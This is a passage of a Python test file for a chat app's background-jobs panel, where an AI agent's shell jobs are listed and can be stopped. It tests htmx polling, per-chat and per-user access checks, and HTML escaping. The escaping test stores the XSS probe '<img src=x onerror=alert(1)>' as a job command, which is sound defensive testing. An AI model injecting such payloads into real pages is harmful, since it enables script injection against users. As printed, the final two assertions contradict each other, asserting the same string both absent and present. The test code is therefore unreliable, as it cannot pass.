"""The element that carries `hx-trigger` is the one being replaced, so a
|
|
fragment that collapsed to nothing would replace the trigger with nothing --
|
|
and the first job started afterwards would never appear."""
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
html = client.get(f"/api/chats/{chat.id}/jobs").text
|
|
|
|
assert 'hx-trigger="every 5s"' in html
|
|
assert "picker" not in html, "and shows nothing while there is nothing to show"
|
|
|
|
|
|
def test_the_panel_lists_a_stored_job_and_offers_stop_only_while_it_runs(
|
|
client, db, registered, machine
|
|
):
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
_job_row(db, chat.id, "a" * 12, "sleep 900")
|
|
_job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=2)
|
|
|
|
html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
|
|
|
|
assert "sleep 900" in html
|
|
assert "Failed, exit 2" in html
|
|
assert html.count("jobs/%s/stop" % ("a" * 12)) == 1
|
|
assert ("jobs/%s/stop" % ("b" * 12)) not in html, "a finished job has nothing to stop"
|
|
|
|
|
|
def test_a_job_belonging_to_another_chat_is_not_readable(client, db, registered, machine):
|
|
"""The remote paths are namespaced by chat id, which is what makes this
|
|
structurally impossible for a *model*. The route takes the id from a URL, so
|
|
it has to make the same check itself."""
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
other = Chat(user_id=user.id, model_id="m", connection_id=chat.connection_id)
|
|
db.add(other)
|
|
db.commit()
|
|
_job_row(db, other.id, "c" * 12, "sleep 900")
|
|
|
|
assert client.get(f"/api/chats/{chat.id}/jobs/panel?job={'c' * 12}").status_code == 404
|
|
assert client.post(f"/api/chats/{chat.id}/jobs/{'c' * 12}/stop").status_code == 404
|
|
|
|
|
|
def test_somebody_elses_chat_has_no_jobs_to_show(client, db, registered, machine):
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
stranger = User(email="stranger@x.test", name="Stranger", password_hash="x")
|
|
db.add(stranger)
|
|
db.commit()
|
|
chat.user_id = stranger.id
|
|
db.commit()
|
|
|
|
assert client.get(f"/api/chats/{chat.id}/jobs").status_code == 404
|
|
|
|
|
|
def test_a_command_from_the_far_side_is_escaped(client, db, registered, machine):
|
|
"""The command was written by a model and the log is whatever it printed.
|
|
Both are untrusted exactly as much as anything else a tool returns."""
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
_job_row(db, chat.id, "a" * 12, "echo '<img src=x onerror=alert(1)>'")
|
|
|
|
html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
|
|
|
|
assert "<img src=x" not in html
|
|
assert "<img src=x" in html
|